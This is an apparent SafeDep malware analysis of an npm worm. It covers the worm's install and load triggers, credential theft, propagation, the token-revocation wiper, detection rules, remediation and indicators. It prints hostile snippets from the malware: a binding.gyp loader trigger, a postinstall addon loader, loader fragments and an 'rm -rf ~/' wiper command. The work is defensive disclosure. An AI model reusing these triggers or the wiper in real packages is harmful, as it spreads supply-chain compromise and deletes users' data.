testmetest npm Packages Carry a Miasma-Family Worm
On this page
Update, 27 October 2026. A fourth account, testsecuiitytestme, published
@testsecuiitytestme/cache-helper versions 1.0.1 to 1.0.3 with the same worm. The addon now starts the worm when
an application imports the package, so --ignore-scripts does not protect you. See
The load-time addon trigger.
Update, 26 October 2026. The operator moved to a third npm account, iobandamwer, and changed the install
trigger. A postinstall script now loads a native Node.js addon that decrypts and starts the same worm. Detection
rules that look only for binding.gyp miss these builds. The How it runs and Detection
sections cover both triggers.
An operator is testing a Miasma-family npm worm in public. Between 19 and 27 October 2026, npm
received 19 packages from the same operator. The accounts alexjoipamiba, testnewtestme,
iobandamwer and testsecuiitytestme published eight of them.
The malicious versions steal credentials, spread to other packages and repositories, and install a wiper
that deletes the home directory when the victim revokes the stolen GitHub token.
The worm shares code with Miasma “Phantom Gyp” from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026, SafeDep has found no compromised third-party packages or victims. All observed activity belongs to the operator’s own test accounts.
The packages
Every package has a 0.0.0-stage version. npm staged publishing creates this placeholder, and
legitimate packages carry the same stub, including its “Temporary Holding Version”
README. The stub is not an indicator by itself. After the stub, the operator usually publishes a
harmless 1.0.0 decoy, then a malicious patch version such as 0.0.1 that becomes latest.
The malicious versions of path-stream-utils-testmetest and @iobandamwer/native-helper keep the
stub package.json fields and README. They add only a postinstall script, a one-line index.js
and the binary files, so the registry page still shows an empty placeholder package.
npm replaced the three iobandamwer packages with 0.0.1-security placeholders on 26 October.
Less than 20 hours later, the operator published @testsecuiitytestme/cache-helper from a new
account.
As of 27 October 2026, @testsecuiitytestme/cache-helper is live, and 1.0.3 is latest. All 18
earlier packages are gone. Eleven left the registry on 21 October and two on 22 October. npm
replaced the other five with 0.0.1-security placeholders. The table lists every known version.
| Row | ecosystem | name | version | published_utc | publisher | role | verdict | registry_status | tarball_sha1 |
|---|---|---|---|---|---|---|---|---|---|
| 1 | npm | event-bus-lite-testmetest | 0.0.0-stage | 2026-10-22T10:01:50Z | alexjoipamiba | stub | benign-stub | unpublished 2026-10-22T20:21Z | 71c000c6386010f8071bd424e100a72b986f1a87 |
| 2 | npm | event-bus-lite-testmetest | 1.0.0 | 2026-10-22T10:05:59Z | alexjoipamiba | decoy | benign-decoy | unpublished 2026-10-22T20:21Z | 2ee0dadb79432a6a48df1cb32eef4d0812dba611 |
| 3 | npm | event-bus-lite-testmetest | 0.0.1 | 2026-10-22T10:59:51Z | alexjoipamiba | armed | malicious | unpublished 2026-10-22T20:21Z | 7c772b53c3fc70eeddaf0a8edad33abf23cddbe6 |
| 4 | npm | retry-utils-testmetest | 0.0.0-stage | 2026-10-22T10:01:53Z | alexjoipamiba | stub | benign-stub | unpublished 2026-10-22T20:21Z | c2bd0437b614be200d8f1965dc0879e8324edde2 |
| 5 | npm | retry-utils-testmetest | 1.0.0 | 2026-10-22T10:03:10Z | alexjoipamiba | decoy | benign-decoy | unpublished 2026-10-22T20:21Z | 210b49478415049db47bd7738d0650c0a8ecd353 |
| 6 | npm | sdk-utils-testmetest | 0.0.0-stage | 2026-10-19T10:18:30Z | testnewtestme | stub | benign-stub | removed (npm security placeholder 0.0.1-security) | 9fd868109ef1f4b3d73cb14d37bffb600dc16893 |
| 7 | npm | sdk-utils-testmetest | 1.0.0 | 2026-10-19T10:21:09Z | testnewtestme | decoy | benign-decoy | removed (npm security placeholder 0.0.1-security) | 15ff00ecbb18941c703537976e79bb53f87542db |
| 8 | npm | kvarzo8f3atestmetest | 0.0.0-stage | 2026-10-20T22:51:16Z | testnewtestme | stub | benign-stub | removed (npm security placeholder 0.0.1-security) | c3846f5ec2841f6477961c8a3ed14c61100f8dfa |
| 9 | npm | kvarzo8f3atestmetest | 1.0.0 | 2026-10-20T22:53:55Z | testnewtestme | decoy | benign-decoy | removed (npm security placeholder 0.0.1-security) | bd4748edb152b93c720a63e2cac09de8e56bf9ec |
| 10 | npm | data-pipeline-testmetest | 0.0.0-stage | 2026-10-21T10:32Z | unknown | stub | unknown | unpublished 2026-10-21T15:07:26Z | |
| 11 | npm | data-pipeline-testmetest | 1.0.0 | 2026-10-21T10:33Z | unknown | decoy? | unknown | unpublished 2026-10-21T15:07:26Z | |
| 12 | npm | data-pipeline-testmetest | 2.0.0 | 2026-10-21T10:51Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:26Z | |
| 13 | npm | data-pipeline-testmetest | 2.0.1 | 2026-10-21T11:13Z | unknown | armed | malicious | unpublished 2026-10-21T15:07:26Z | |
| 14 | npm | event-emitter-testmetest | 0.0.0-stage | 2026-10-21T10:56Z | unknown | stub | unknown | unpublished 2026-10-21T15:07:28Z | |
| 15 | npm | event-emitter-testmetest | 1.0.0 | 2026-10-21T11:02Z | unknown | decoy? | unknown | unpublished 2026-10-21T15:07:28Z | |
| 16 | npm | event-emitter-testmetest | 1.0.5 | 2026-10-21T11:15Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 17 | npm | event-emitter-testmetest | 1.0.4 | 2026-10-21T11:16Z | unknown | scaffold | investigating | unpublished 2026-10-21T15:07:28Z | |
| 18 | npm | event-emitter-testmetest | 1.0.6 | 2026-10-21T11:34Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
| 19 | npm | event-emitter-testmetest | 1.0.7 | 2026-10-21T11:37Z | unknown | armed (test) | malicious | unpublished 2026-10-21T15:07:28Z | |
| 20 | npm | event-emitter-testmetest | 3.0.0 | 2026-10-21T11:50Z | unknown | unknown | unknown | unpublished 2026-10-21T15:07:28Z | |
The operator also runs test repositories on GitHub under CementBeetleSteeple, and most already
contain the worm’s files. Do not clone or open them. The commits from CementBeetleSteeple use the
same email address as the npm account testnewtestme.
The iobandamwer account belongs to the same operator. The first malicious build,
@iobandamwer/cache-helper@1.0.2, downloads its loader from the repository
CementBeetleSteeple/node-cache-utils. CementBeetleSteeple created that repository at 18:21:41 UTC on
24 October, 10 seconds before npm received the first version of @iobandamwer/cache-helper.
The testsecuiitytestme account (bahbahnabgda@atomicmail.io) belongs to the same operator. Its
addons and decoded payload match the iobandamwer builds.
Related activity goes back to September. The GitHub account Meteordrewarm, registered 11 seconds
before CementBeetleSteeple, ran the first exfiltration test on 19 September from
root@vultr.guest. npm removed an earlier package from the same cluster, testmgkregme, on 12
October.
How it runs
The worm has used three triggers. The first two run during npm install. The third also runs
when an application loads the package.
The binding.gyp trigger
The packages from alexjoipamiba and testnewtestme have no install scripts. npm runs
node-gyp rebuild for any package that contains binding.gyp, and the sources field runs the
loader:
// binding.gyp @ event-bus-lite-testmetest@0.0.1
"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]
index.js (14.8 KB) decrypts a Bun bootstrap and lib_native.dat (320 KB). The bootstrap finds
or downloads Bun. The loader writes the decrypted payload to /tmp/.b-*/index.js, runs it with
bun run, and deletes it.
The native addon trigger
The iobandamwer packages use a postinstall script that loads a native addon:
// package.json @ path-stream-utils-testmetest@0.0.2
"postinstall": "node -e \"try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}\""
addon.node is a 17 KB Linux x64 library and addon_win.node is a 713 KB Windows DLL. The Linux
addon reads CI variables, container markers in /proc/1/cgroup, memory and CPU counts, and the
TracerPid field. SafeDep infers that these checks gate execution in sandboxes, but did not trace
every branch. The addon then reads .napi_cache, decodes it with the single-byte XOR key 0x96,
forks into a new session, writes the result to /tmp/.<pid> and runs it with node.
The decoded .napi_cache begins with the same character-code loader as the binding.gyp builds.
In path-stream-utils-testmetest@0.0.2 and @iobandamwer/cache-helper@1.0.8, it holds the main
payload as a plain Bun bundle instead.
The version history of @iobandamwer/cache-helper shows the trigger under development. Version
1.0.2 downloads its loader from GitHub. Version 1.0.3 calls eth_getStorageAt on public
Ethereum RPC endpoints and carries a list of IPFS gateways. SafeDep infers that it reads a payload
location from contract storage. The contract address in its configuration is the zero address, so
that build could not fetch anything. Version 1.0.4 and later carry the payload in the package.
The load-time addon trigger
@testsecuiitytestme/cache-helper keeps the addon, .napi_cache and the XOR key 0x96. The
addon now runs its dropper from napi_register_module_v1, which Node.js calls when it loads the
addon. The iobandamwer builds waited for an init() call. The package entry point loads the
addon:
// index.js @ @testsecuiitytestme/cache-helper@1.0.3
module.exports = require('node-gyp-build')(__dirname)
Any application that imports the package starts the worm. npm install --ignore-scripts does
not stop it.
Versions 1.0.2 and 1.0.3 use the standard prebuilt layout, prebuilds/<platform>/node.napi.node,
with "postinstall": "node-gyp-build". This script loads the addon to test it, so the worm also
starts at install time. The addon builds the XOR key from four bytes, so a byte search for 0x96
does not find it.
The decoded .napi_cache holds a new loader that replaces the character-code loader. It exits in
CI, decodes the payload with a 32-byte XOR key and Brotli, and runs it with Bun.
What the payload does
The decoded payload from both install triggers contains the same command string, endpoint,
persistence scripts and string cipher. The embedded sync.py in path-stream-utils-testmetest@0.0.2 has the
same SHA-256 as the one in event-bus-lite-testmetest@0.0.1.
The testsecuiitytestme builds carry the same payload, including msync-3f7a, aiarmor.website
and the wiper command.
- Evasion
- Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known analysis sandboxes.
- In GitHub Actions, kills StepSecurity Harden-Runner through
docker.sockand points*.stepsecurity.ioto localhost. Exits if this fails.
- Credential theft
- SSH keys, npm, PyPI and Git credentials,
.envfiles, browser logins. - AI tool credentials for Claude, Codex, Gemini and Copilot.
- AWS, GCP, Azure, Vault and Kubernetes secrets.
- GitHub Actions secrets from
Runner.Workerprocess memory.
- SSH keys, npm, PyPI and Git credentials,
- Exfiltration
- Commits encrypted data to a new public repository on the victim’s GitHub account, named like
smart-workers-48213with the descriptionproject-utils. - The commit message starts with
AutoSyncComplete:and carries the victim’s GitHub token, encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens. - Fallback endpoint:
hxxps://aiarmor[.]website/v1/api. - Injects a GitLab CI job named
cache_sync. It sends the CI environment to a/collectendpoint and requests npm and PyPI OpenID Connect (OIDC) tokens.
- Commits encrypted data to a new public repository on the victim’s GitHub account, named like
- Propagation
- Adds the loader to the victim’s npm packages and publishes a new patch version. The newer build
writes
addon.node,addon_win.node,.napi_cacheand thepostinstallscript. - The newest builds use the
prebuilds/layout and name macOS targets. No package ships a macOS addon yet. - Republishes to PyPI, RubyGems and JFrog.
- Commits a fake CodeQL workflow and AI agent files (
.claude/settings.json,.cursor/mcp.json,CLAUDE.md,AGENTS.md,.vscode/tasks.json), the loader.github/init.jsand a Windows loader.github/init.ps1to GitHub and GitLab repositories. Injected commits copy the author and message of the most recent real commit on the branch, withgithub-actionsas a fallback. - Copies itself over SSH to the hosts in each user’s
known_hostsfile.
- Adds the loader to the victim’s npm packages and publishes a new patch version. The newer build
writes
- Persistence
net-health-checkerchecks the stolen GitHub token every 45 seconds for 48 hours. On 401 or 403 it runsrm -rf ~/; rm -rf ~/Documents.pkg-runtimerunssync.py. Every hour it searches GitHub commits formsync-3f7a, then downloads and runs a Python script from a URL that the attacker’s RSA key signed.
What changed from Miasma
| Feature | Miasma (June 2026) | testmetest |
|---|---|---|
| Trigger | binding.gyp | binding.gyp, then postinstall native addon, then addon load |
| Loader | Root index.js over 4 MB | 14.8 KB, payload in lib_native.dat |
| Command channel | Fixed commit search | msync-3f7a with signed commands |
| Exfiltration | GitHub only | GitHub and aiarmor[.]website |
| Wiper | Message only | Real deletion |
SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has been public since May 2026, so other groups can build on it.
Detection
- A
binding.gyptarget whosesourcescontains<!(nodeand hides output, in a package without C or C++ sources. - A
postinstallscript that callsrequire()on a.nodefile and discards errors, in a package with no build configuration or native source. Combine this with a large high-entropy file such as.napi_cachenext to the addon. - Prebuilt addons in
prebuilds/<platform>/with no native source, next to a large high-entropy file. This rule does not depend on install scripts. - A native addon that contains
%s/.napi_cacheand/tmp/.%u(Linux), or%s\.napi_cacheand%s.nc%lu.js(Windows). - A high-entropy
.dator.binfile next to a smallindex.jswith a large character-code array andeval. - A package that keeps
"stub": trueand the staged publishing description in a version other than0.0.0-stage. - Supporting signals, combined with the rules above: a
bundependency inpackage.json, or a0.0.xlatestversion published after1.0.0. - The
binding.gypandiobandamwerbuilds use the same loader template. In the native addon builds, it appears only after XOR decoding with0x96:(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g, - The
testsecuiitytestmebuilds use a different loader after XOR decoding with0x96. Look for_zl['brotliDecompress'+'Sync'](_x)andbun-v1.2.18together in one file. - After decoding:
globalThis.getBunPath,msync-3f7a,aiarmor.website,net-health-checker.
Apply the trigger rules to every package. A real attack will come through compromised maintainer accounts with normal package names.
Remediation
-
Disconnect the host from the network.
-
Remove persistence first. On Linux:
systemctl --user disable --now net-health-checker pkg-runtime rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \ ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \ ~/.local/share/runtimes /var/tmp/.fontconfig_stateOn macOS:
launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plistThen delete those two
.plistfiles. -
Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI providers.
-
Check your accounts for new
project-utilsrepositories, unexpected patch releases, and commits that add.claude/,.cursor/,.gemini/,.vscode/tasks.json,.github/init.js,CLAUDE.mdorAGENTS.md, and for commits whose message starts withAutoSyncComplete:. The agent files infect the host again. Check your npm packages for unexpectedaddon.node,addon_win.node,prebuilds/*/node.napi.nodeor.napi_cachefiles. -
Reinstall the operating system on the host.
Indicators of compromise
See the packages for the full list of package versions.
| Type | Value |
|---|---|
| npm account | alexjoipamiba, testnewtestme, iobandamwer, testsecuiitytestme (bahbahnabgda@atomicmail.io) |
| GitHub account | CementBeetleSteeple (ID 295109074, same commit email as testnewtestme), Meteordrewarm (ID 295109040) |
| GitHub repository | CementBeetleSteeple/node-cache-utils, CementBeetleSteeple/stable-scripts-9965 |
| Repository file | AGENTS.md, .github/init.ps1, .github/init.js, .claude/index.js |
| Package file | addon.node, addon_win.node, .napi_cache, prebuilds/*/node.napi.node |
| Dropped file | /tmp/.<pid>, %TEMP%\.nc<number>.js, .<pid>_<random>.js in the temporary directory |
| npm package | testmgkregme |
| Branch | chore/ci-<8 hex> |
| Commit suffix | skip-checks:true |
| Domain | aiarmor[.]website |
| C2 string | msync-3f7a |
| Commit prefix | AutoSyncComplete: |
| Service | net-health-checker, pkg-runtime |
| Tarball SHA-1 | 7c772b53c3fc70eeddaf0a8edad33abf23cddbe6 (event-bus-lite-testmetest@0.0.1) |
| SHA-256 | 837904152e824645cb7d2d58a4a5e0aaa22d5e82a5d6eafe08b9c2b8b1bf4de6 (binding.gyp) |
| SHA-256 | 0b0e02b03ea3a2f8e8657143706e327a0b3608acbc1c43ec02ebc072dbe76944 (index.js) |
| SHA-256 | fc8e014b1c6940435880346fe3e84b20f2cbd9e65ed662283347a306929b8381 (lib_native.dat) |
| SHA-256 | c7ef186aa59b67d9b198a14f6dc8aaee6dd86510ac7c37d28f65d310cd846411 (sync.py) |
| SHA-256 | 7625f77a61433b3a8e9b41952b7dca102d1d08eab30266fd6c6aa0b0c2ea15b1 (addon.node, path-stream-utils-testmetest@0.0.2) |
| SHA-256 | 1685824218a45e9308e3ced9f4a1cee3fe51e516dab2bd058fc1f9de31f559c9 (addon_win.node, path-stream-utils-testmetest@0.0.2) |
| SHA-256 | b3f74e4b03b58eeb31ff9ecc663a118ca37695f078eb4d3cae311ddc56a55d28 (.napi_cache, path-stream-utils-testmetest@0.0.2) |
| SHA-256 | 67967033b1dd1e5b845c0959291df533d1102d0191885e7cb9b18d46f7744bbd (.napi_cache, path-stream-utils-testmetest@0.0.1) |
| SHA-256 | 1fdd50b1bf66c4fd0e94f2be3db1f2f0fd77921136867022ad7e65e21220ad03 (prebuilds/linux-x64/node.napi.node, @testsecuiitytestme/cache-helper@1.0.3) |
| SHA-256 | 5b7a0f53f2eca2dd4bf21e6df7d34e751b6cdf70b2f0a6f1f13edfb5caa9570b (prebuilds/win32-x64/node.napi.node, @testsecuiitytestme/cache-helper@1.0.3) |
| SHA-256 | c14dae9325f451c524cf858ecdae5fa68d2c645ee0981c6f42ef913c7ef34a57 (.napi_cache, @testsecuiitytestme/cache-helper@1.0.3) |
Each build uses new keys, so payload hashes change in every version. Every iobandamwer build
also has a different addon.node hash. SafeDep decoded event-bus-lite-testmetest@0.0.1, the
iobandamwer builds and the testsecuiitytestme builds using static analysis only.
- malware
- npm
- supply-chain
- miasma
- shai-hulud
- worm
Author
safedep.io
